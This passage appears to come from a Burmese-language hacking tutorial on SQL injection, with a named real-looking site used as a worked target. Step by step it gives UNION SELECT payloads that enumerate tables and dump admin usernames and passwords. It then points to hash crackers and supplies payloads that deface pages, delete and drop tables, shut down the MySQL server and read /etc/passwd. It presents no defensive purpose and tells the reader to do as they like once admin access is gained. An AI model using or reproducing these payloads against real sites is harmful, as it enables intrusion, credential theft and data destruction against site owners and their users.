အကယ်၍ ၎င်း​ရဲ့ site က vulnerable မ​ဖြစ်​ဘူး​ဆို​ရင် ပုံ​မှန်​အတိုင်း page loading လုပ်​သွား​ပါ​လိမ့်​မယ်..
အဲ့​လို​မဟုတ်​ပဲ query string filtering မ​ရှိ​ဘူး​ဆို​ရင် "MySQL Syntax Error By '5'' In Article.php on line 15." သို​မဟုတ် Check the correct MySQL version သို့မဟုတ် MySQL Fetch error သို့မဟုတ်​ပါ​က ဘာ​မှ​မ​ပေါ်​ပဲ page အဖြူ​ကြီး​သာ​ပေါ်​နေ​ပါ​လိမ့်​မယ်... ဒါ​ဆို​ရင် ဒီ site က vulnerable ဖြစ်​နေ​ပါ​တယ် အကယ်၍ ' ဖြင့် မ​ရ​လျှင် အောက်​ပါ​အတိုင်း union select 1-- ဆို​တာ​ကို​သုံး​နိုင်​ပါ​တယ်။

www.site.com/article.php?id=5 union select 1--

In ASP ==>>
အထက်​ပါ​နည်း​အတိုင်း
http://www.site.com/index.asp?id=5
ဆို​ရင် နောက်​က ' (apostrophe) လေး​ထည့်​ပြီး​စမ်း​နိုင်​ပါ​တယ်။
http://www.site.com/index.asp?id=5'
ဒါ​ဆို​ရင်

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int.
/index.asp, line 5

ဆို​တဲ့ error မျိုး​ပေါ်​နေ​တတ်​ပြီး ASP, JSP, CGI, နဲ့ PHP web pages တွေ​မှာ စမ်းသပ်​နိုင်​ပါ​တယ်။

အကယ်၍ URL မှာ မ​ပေါ်​တဲ့ parameters မျိုး​ဆို​ရင် ၎င်း​တို့​ရဲ့ login page, search page, feedback လို​နေရာ​မျိုး​တွေ​က ရှာ​နိုင်​ပါ​တယ်.. တစ်​ချို့ html page တွေ​က POST command နဲ့ ASP page ကို ပို့ဆောင်​ပေး​တဲ့ parameters သုံး​ထား​တတ်​ပါ​တယ်.. ဒါ​ဆို​ရင်​တော့ ၎င်း​တို့​ရဲ့ HTML source code ထဲ​ကို ဝင်​ရောက်​ပါ။ ပြီး​ရင် "FORM" tag ကို​ရှာ​လိုက်​ပါ ... ဥပမာ

<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>

ဒီ <FORM></FORM> နှစ်​ခု​ကြား​က ဖြစ်​နိုင်​ခြေ​တွေ​ပါ။

<FORM action=http://duck/Search/search.asp method=post>
<input type=hidden name=A value='a' or 1=1--">
</FORM>

value မှာ အပေါ်​က​အတိုင်း BYPASSING LOGINS မှာ​သုံး​သ​လို စမ်းသပ်​ပြီး​ရှာဖွေ​နိုင်​ပါ​တယ်။

---Columns အရေအတွက်​ရှာဖွေ​ခြင်း---
‘order by’ ကို​အသုံးပြု​ပြီး Columns များ​ကို ရှာဖွေ​မှာ​ဖြစ်​ပါ​တယ်..
URL query ကို​အောက်​ပါ​တိုင်း ရိုက်​ထည့်​လိုက်​ပါ​မယ်... '/*' သို့မဟုတ် '--" ဆို​တာ​လေး​သုံး​လို့​ရ​ပါ​တယ်..

www.site.com/article.php?id=5 order by 1/*
အမှား​မ​ပေါ်​ဘူး​ဆို​ရင် နောက်​တစ်​ခါ 2 ဆို​ပြီး​တိုး​ကာ ရိုက်​ထည့်​ပါ​မယ်

www.site.com/article.php?id=5 order by 2/*
ယခု ​အချိန်​အထိ အမှား​မ​ပေါ်​သေး​ဘူး​ဆို​ရင် နောက်​တစ် ထပ်​ပြီး​တိုး​ပါ​မယ်.. ဒီ​လို​တိုးတိုး​ပြီး အမှား​ပေါ်လာ​တဲ့​အထိ ရှာဖွေ​ရ​မှာ​ဖြစ်​ပါ​တယ်...

www.site.com/article.php?id=5 order by 3/*

အခု 3 ကို​ရောက်​တဲ့​အခါ အမှား​တွေ့​တယ်​ဆို​ရင်
ဒါ ​ဆို​ရင် ကျွန်တော်​တို့ Columns နှစ်​ခု​ရှိ​တယ်​ဆို​တာ သိ​သွား​ပါ​ပြီ... ဒီ​လို​နည်း​နဲ့ Column တွေ​ကို တစ်​ဆင့်​ခြင်း​ရှာဖွေ​ရ​ပါ​တယ်...

နောက်​တစ်​ခု ပုံ​နဲ့ တ​ကွ ရှာဖွေ​ကြည့်​ရအောင်

http://sbisa.org/circle.php?id=26 ကို​ကြည့်​မယ်..



http://sbisa.org/circle.php?id=26 ရဲ့ value နောက်​မှာ ' ဆို​တဲ့ (apostrophe) တစ်​ခု​ထည့်​လိုက်​ပါ​မယ်..



Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/sbisaor/public_html/circle.php on line 10 ဆိုတဲ့ error တစ်​ခု​တွေ့​ပါ​လိမ့်​မယ်..

ဒါ​ဆို​ရင်​သေချာ​တယ်.. SQL error တစ်​ခု​တက်​နေ​ပြီ... တိတိ​ကျ​ကျ​ပြော​ရ​ရင် DB Server က MySQL
OK, ဒါ​ဆို​ရင် ကျွန်တော်​တို့ Columns အရေအတွက်​ရှာ​မယ်...

http://sbisa.org/circle.php?id=-26 order by 1,2,3,4,5,6-- ဒီ​အထိ​အဆင့်​အဆင့်​ရှာ​တယ်... error မ​ဖြစ်​သေး​ဘူး



7 အထိ​ရောက်​တဲ့​အခါ​မှာ​တော့ error တွေ့​တယ်​ဆို​ရင် ဒါ​ဟာ 6 Columns ရှိ​တယ်...



ဒါ​ဆို​ရင်​နောက်ထပ် UNION SELECT ALL ဆို​တဲ့ statement တစ်​ခု​ကို​သုံး​မယ်..
http://sbisa.org/circle.php?id=-26 union select all 1,2,3,4,5,6-- ဆို​ပြီး​ရိုက်​ထည့်​လိုက်​မယ်..



ဒါ​ဆို​ရင် 2,3,4 ဆို​တာ​ပြ​မယ်.. ဒီ​အပိုင်း​တွေ​က data တွေ​သိမ်းဆည်း​ထား​တဲ့ Columns တွေ​ဖြစ်​တယ်...

---MySQL version ရှာ​ခြင်း---
ဒီ Injection မှာ MySQL Version ကို checking လုပ်​ဖို့​လို​ပါ​တယ်... . Version အား Checking လုပ်​ရန် @@version သို့မဟုတ် version() functions တွေ​ကို​သုံး​ပေး​ရ​ပါ​မယ်..
အခု @@version ကို data တွေ​သိမ်းဆည်း​ထား​တဲ့ column မှာ​ထည့်​ပြီး MySQL version ကို​စစ်​မယ်..

http://sbisa.org/circle.php?id=-26 union select all 1,@@version,3,4,5,6--



သို့မဟုတ်

http://sbisa.org/circle.php?id=-26 union select all 1,version(),3,4,5,6--

ကို ​သုံး​နိုင်​ပါ​တယ်.. တ​ခါ​တစ်​လေ​မှာ အထက်​ပါ​နည်း​အတိုင်း​က error တွေ​ဖြစ်​တတ်​တဲ့​အတွက် unhex(hex()) ကို​သုံး​ပေး​ရ​ပါ​မယ်..

http://sbisa.org/circle.php?id=-26 union select all 1,unhex(hex(@@version)),3,4,5,6--

ဒါ​ဆို​ရင် Server မှာ အသုံးပြု​နေ​တဲ့ MySQL ရဲ့ version ကို​ဖော်​ပြ​ပေး​သွား​ပါ​လိမ့်​မယ်...
အကယ်၍ user တို့ ၊ database တို့​ကို check ချင်​တယ်​ဆို​ရင် အောက်​ပါ​တိုင်း checking လုပ်​နိုင်​ပါ​တယ်..

www.site.com/article.php?id=5 UNION ALL SELECT user(),2/*
www.site.com/article.php?id=5 UNION ALL SELECT database(),2/*

ဥပမာ :- http://sbisa.org/circle.php?id=-26 union select all 1,version(),database(),user(),5,6--



---MySQL 5 နှင့်​အထက် injection---
အခု ​ကျွန်တော်​တို့ ရ​တာ MySQL version 5.0.90 ဖြစ်​ပါ​တယ်... MySQL version 5 မှာ information_schema ဆို​တဲ့ အသုံးဝင်​တဲ့ funtion တစ်​ခု​ပါဝင်​ပြီး ၎င်း​က လက်​ရှိ DB server ရဲ့ tables နဲ့ columns တွေ​ကို ထိန်းသိမ်း​ထား​တာ​ဖြစ်​ပါ​တယ်...
Tables တွေ​ကို​ရ​ယူ​ရန် table_name from information_schema.tables ဆို​တာ​ကို​သုံး​သ​လို
Columns တွေ​ကို​ရ​ယူ​ရန် column_name from information_schema.columns ဆို​တာ​ကို​သုံး​ရ​ပါ​မယ်..
နောက်​တစ်​ခု​ကတော့ ဒီ site အပေါ်​မှာ မြင်​ရအောင်​လို့ group_concat(table_name) ကို Tables တွေ​အတွက်​နဲ့
group_concat(column_name) ကို Columns တွေ​အတွက်​သုံး​ပေး​ရ​ပါ​တယ်...

http://sbisa.org/circle.php?id=-26 union select all 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema=database()--



စောစော ​က ကျွန်တော်​တို့ MySQL version ကို @@version အစား unhex(hex()) နဲ့​သုံး​ခဲ့​ရ​တယ်​ဆို​ရင် အခု Table နဲ့ Column ကို​ရှာ​တဲ့​အခါ​မှာ​လည်း အဲ့​လို​ပဲ သုံး​ပေး​ရ​ပါ​တယ်။

http://sbisa.org/circle.php?id=-26 union select all 1,unhex(hex()),3,group_concat(table_name),5,6 from information_schema.tables where table_schema=database()--

နောက်​ထက်​တစ်​ခါ ကျွန်တော်​တို့ Columns တွေ​ကို​ကြည့်​မယ်​ဆို​ရင်

http://sbisa.org/circle.php?id=-26 union select all 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_schema=database()--



ဒါ ​ဆို​ရင် DB ထဲ​က table တွေ​ကို ဖော်​ပြ​ပေး​ပါ​ပြီ... အခု ကျွန်တော်​တု့​ိ​ဒီ tables လေး​တွေ​ကို စနစ်​တ​ကျ မှတ်သား​ထား​ပါ​မယ်... နောက်​တစ်​ဆင့်​တက်​ကာ ကျွန်တော်​တို့​လိုချင်​တဲ့ user name နဲ့ password တွေ သိမ်းထား​တဲ့ table ကို​ကြည့်ပါ​မယ်...
group_concat ကို​ပဲ ဆက်လက်​သုံး​ပါ​မယ်.. ဒါပေမဲ့ ကျွန်တော်​တို့ လိုချင်​တဲ့ username, password တွေ​သိမ်းထား​လောက်​တဲ့ columns တွေ​ထဲ​က စစ်​ထုတ်ယူ​မှာ​ပါ။ ဒီ​နေရာ​မှာ ကျွန်တော်​တို့ မှန်း​ထား​တဲ့ table အမည်​ကို from information_schema.tables where table_schema=database-- နေရာ​မှာ ထည့်​သွင်း​မှာ​ဖြစ်​ပါ​တယ်..
0x3a ဆို​တာ​ကတော့ ":" ရဲ့ hex code ပါ။

http://sbisa.org/circle.php?id=-26 union select all 1,2,3,group_concat(username,0x3a,password),5,6 from admin--



ဒါ ​ဆို​ရင်​တော့ မိမိ​တို့​လိုချင်​တဲ့ username နဲ့ password ကို​ရ​သွား​ပါ​ပြီ... ရ​ရှိ​ထား​တဲ့ password ဟာ plaintext ဖြစ်​တယ်​ဆို​ရင်​တော့ ထပ်​ပြီး​ခေါင်း​ရှုပ်​စရာ​မ​လို​တော့​ဘူး​ပေါ့
တစ်​ချို့​ကတော့ password hashed လုပ်​ထား​တဲ့ အတွက် ၎င်း​တို့​အား hash cracker တွေ​နဲ့ ဖြေ​ထုတ်ပေး​ရ​ပါ​လိမ့်​မယ်..

ဥပမာ admin:3a39ec8cd0c399cc247936ad5e0b6927

John The Ripper
www.openwalls.org

Cain & Able
www.oxid.it

hash လုပ်​ထား​တဲ့ password တွေ​သာ​ဆို​ရင်​တော့ အနည်းငယ်​ခက်​သွား​ပါ​လိမ့်​မယ်... အထက်​ပါ hash ကို crack လုပ်​လိုက်​ရင် admin:PlanetCreator ဆို​ပြီး​ရ​ပါ​မယ်..
ကဲ ဒါ​ဆို​ရင်​တော့ admin နဲ့ password ကို​ရ​ပြီ​ဆို​ရင် ကိုယ်လုပ်​ချင်​သ​လို​လုပ်​ပေ​တော့..

---MySQL version 4 injection---
MySQL version က 4 ဖြစ်​မယ်​ဆို​ရင် version 5 လို information_schema.tables and information_schema.columns ကို support မ​လုပ်​တဲ့​အတွက် table name နဲ့ column name တွေ​ကို guess လုပ်​ရ​ပါ​တယ်... နောက်​တစ်​ခု​က error message အပေါ်​မှာ​အခြေ​ခံ​ပြီး​ခန့်​မှန်း​ရ​တာ​ပါ။ The error reports pnc_article in the error ဆို​ရင် pnc ဆို​တဲ့ prefix ကို​သုံး​ထား​တဲ့​အတွက် table name က pnc ဆို​တာ ခန့်​မှန်း​လို့​ရ​နိုင်​ပါ​တယ်။

ဥပမာ ကျွန်တော်​က table name ကို user ဆို​ပြီး ခန့်​မှန်း​လိုက်​မယ်.. ဒါ​ဆို​ရင် အောက်​ပါ​အတိုင်း​ရိုက်​ထည့်​ပေး​ကြည့်​မယ်​ဆို​ပါ​စို့

www.site.com/article.php?id=5 UNION ALL SELECT 1,2 FROM user/*

အထက် ​ပါ​အတိုင်း​ရိုက်​ထည့်​လိုက်​လို့ error ဖြစ်​နေ​တယ်​ဆို​ရင် ဒါ​ဟာ table မ​ရှိ​လို​ပဲ... နောက်​တစ်​ခါ​ထပ်​ပြီး guess လိုက်​ပါ... table name ကို tbluser ဆို​ပြီး​ထား​လိုက်​ပါ​မယ်..

www.site.com/article.php?id=5 UNION ALL SELECT 1,2 FROM tbluser/*

ဒီ​လို​နည်း​နဲ့ table name တွေ column တွေ​အား ခန့်​မှန်း​ပြီး​ထည့်​သွား​ရ​ပါ​လိမ့်​မယ်...

www.site.com/article.php?id=5 UNION ALL SELECT user_name,2 FROM tbluser/*
www.site.com/article.php?id=5 UNION ALL SELECT username,2 FROM tbluser/*
www.site.com/article.php?id=5 UNION ALL SELECT pass,2 FROM tbluser/*
www.site.com/article.php?id=5 UNION ALL SELECT password,2 FROM tbluser/*
www.site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 FROM tbluser/*
နောက်ဆုံး username နဲ့ password ကို ရ​တဲ့​အထိ​ပေါ့...
Table name အချို့​ပါ : user(s), table_user(s), tbluser(s), tbladmin(s), admin(s), members, etc.

ဒါ ​ဟာ Injection ရဲ့ ​လျို့​ဝှက်ထား​တဲ့ Data များ​ကို ရ​ယူ​တဲ့​အပိုင်း​ဖြစ်​ပါ​တယ်... Admin ရဲ့ username & password ရ​ပြီ​ဆို​ရင် Admin Login Page မှာ​ရိုက်​ထည့်​ရ​ပါ​မယ်... Joomla ဆို​ရင် /administrator နဲ့ Wordpress ဆို​ရင် /wp-admin ဖြစ်​ပါ​တယ်.. အချို့ site တွေ​က admin panel ကို​ရှာ​ရ​ခက် နေ​ပါ​လိမ့်​မယ်.. ဒါ​ဆို​ရင် admin panel finder လေး​တွေ​ကို​သုံး​ပြီး​ရှာဖွေ​ရ​ပါ​လိမ့်​မယ်...

Admin Panel Finder http://www.planetcreator.net/planetcreator/adminpanelfinder/ နဲ့​ရှာ​နိုင်​ပါ​တယ်။

---Site အားပြ​င်​ဆင်​ခြင်း ---
အချို့​သော Site တွေ​က admin ရဲ့ password ကို​ရ​ပေ​မဲ့ admin panel ကို​ရ​ဖို့​ခက်ခဲ​ခြင်း၊ ရှာ​မ​တွေ့​ခြင်း​တွေ​နဲ့ ကြုံ​ရတတ်​ပါ​တယ်... ဒီ​လို​နေရာ​မှာ SQL commands တွေ​ကို​သုံး​ပြီး အ​ထဲ​က site ရဲ့ contents တွေ​ကို​ပြင်ဆင်​ပြေး​သွား​ရ​မှာ​ဖြစ်​ပါ​တယ်...

ဒါ​လေး​တွေ​က အရေး​ပါ​တဲ့ command လေး​တွေ​ပါ
UPDATE: It is used to edit infos already in the db without deleting any rows.
DELETE: It is used to delete the contents of one or more fields.
DROP: It is used completely delete a table & all its associated data.

UPDATE :-
www.site.com/article.php?id=5
ဆို​ကြ​ပါ​စို့​ကျွန်တော်​တို့​ရဲ့ query က အောက်​ပါ​အတိုင်း​ဖြစ်​မယ်​ဆို​ရင်
SELECT title,data,author FROM article WHERE id=5

(table name နဲ့ column တွေ​က အထက်​ပါ​အတိုင်း​ရှာဖွေ​က ထည့်​ပေး​ရ​တာ​ဖြစ်​ပါ​တယ်)
အောက်​ပါ​အတိုင်း site ကို​ပြင်​ပေး​သွား​ပါ​မယ်...

www.site.com/article.php?id=5 UPDATE article SET title='Hacked By SomeOn3'/*

ခက်​ဆန်း​ဆန်း​လေး ထက်​ပြီး အရစ်​တက်​လိုက်​မယ်​ဆို​ရင်

www.site.com/article.php?id=5 UPDATE article SET title='HACKED BY SomeOn3',data='Welcome to My Planet',author='SomeOn3'/*

သတ်​မှတ်ထား​တဲ့ page ပြောင်းလဲ​ပြီး update လုပ်​ချင်​တယ်​ဆို​ရင်​တော့ အောက်​ပါ​အတိုင်း ရိုက်​ထည့်​ပေး​ရ​ပါ​တယ်..

www.site.com/article.php?id=5 UPDATE article SET title='value 1',data='value 2',author='value 3' WHERE id=5/*

DELETE:- DB Server ထဲ​က​နေ အ​မြဲ​တမ်း​ဖျက်​ပစ်​တော့​မယ်​ဆို​ရင် DELETE command ကို​သုံး​သွား​ပါ​မယ်..

www.site.com/article.php?id=5 DELETE title,data,author FROM article/*

သတ် ​မှတ်ထား​တဲ့ page ကို delete လုပ်​ချင်​တယ်​ဆို​ရင် အောက်​ပါ table name ရဲ့ နောက်​ထဲ​မှ WHERE နဲ့ page id ကို​ထည့်​သွင်း​သွား​ရ​ပါ​မယ်...

www.site.com/article.php?id=5 DELETE title,data,author FROM article WHERE id=5/*

ဒီ​တစ်​ခု​ကတော့ DROP TABLE ပါ... Table အလိုက် ဖျက်​ချင်​တယ် ဆို​ရင်​တော့ DROP Table နဲ့ table name ကို​ဆို​ပြီး​သုံး​ပါ​မယ်...

www.site.com/article.php?id=5 DROP TABLE article/*

ဒီ​အတိုင်း​ဖျက်​ရင် table တွေ​ကော အ​ထဲ​မှာ​ပါ​တဲ့ contents တွေ​ကော အားလုံး ပျက်​သွား​ပါ​လိမ့်​မယ်...

SHUTTING DOWN MySQL SERVER:

www.site.com/article.php?id=5 SHUTDOWN WITH NOWAIT;

LOADFILE:
Server အ​ထဲ​က .htaccess, .htpasswd တွေ​နဲ့ password files တွေ​ဖြစ်​တဲ့ etc/passwd စ​သည့် ဖိုင်​တွေ​ကို ယူ​ချင်​တယ်​ဆို​ရင်​တော့ LOADFILE ကို​သုံး​ရ​ပါ​တယ်... ဒါ​က​အသုံး​တော့​နည်း​ပါ​တယ်....

www.site.com/article.php?id=5 UNION ALL SELECT load_file('etc/passwd'),2/*

အကယ်၍ hex တွေ​နဲ့​ဆို​ရင်​တော့ အောက်​ပါ​တိုင်း သုံး​ပါ​မယ်..

www.site.com/article.php?id=5 UNION ALL SELECT load_file(0x272F6574632F70617373776427)

ဒါ​ကို Hex based SQL Injection လို့​လည်း​ခေါ်​နိုင်​ပါ​တယ်..

* SELECT LOAD_FILE(0x633A5C626F6F742E696E69)
ဒါ​ဟာ server ရဲ့ c:\boot.ini ကို ဆွဲ​ယူ​ပေး​ပါ​လိမ့်​မယ်..


---MySQL ROOT---
MySQL version 5 နဲ့​အထက်​မှာ mysql.user ဆို​တဲ့ table တစ်​ခု​ဟာ MySQL servers တွေ​မှာ​ရှိ​ပါ​တယ်... အ​ထဲ​မှာ hash လုပ်​ထား​တဲ့ Password နဲ့ username တွေ​ပါဝင်​ပါ​တယ်... ၎င်း​အ​ထဲ​က

hash ဟာ mysqlsha1 ဖြစ်​တဲ့​အတွက် John The Ripper နဲ့ crack လုပ်​ဖို့​ခက်​ပါ​မယ်..

www.site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 from mysql.user/*

ဒီ​အတွက် InsidePro Password Recovery Software ကို​သုံး​လို့​ရ​ပါ​တယ်..
http://www.insidepro.com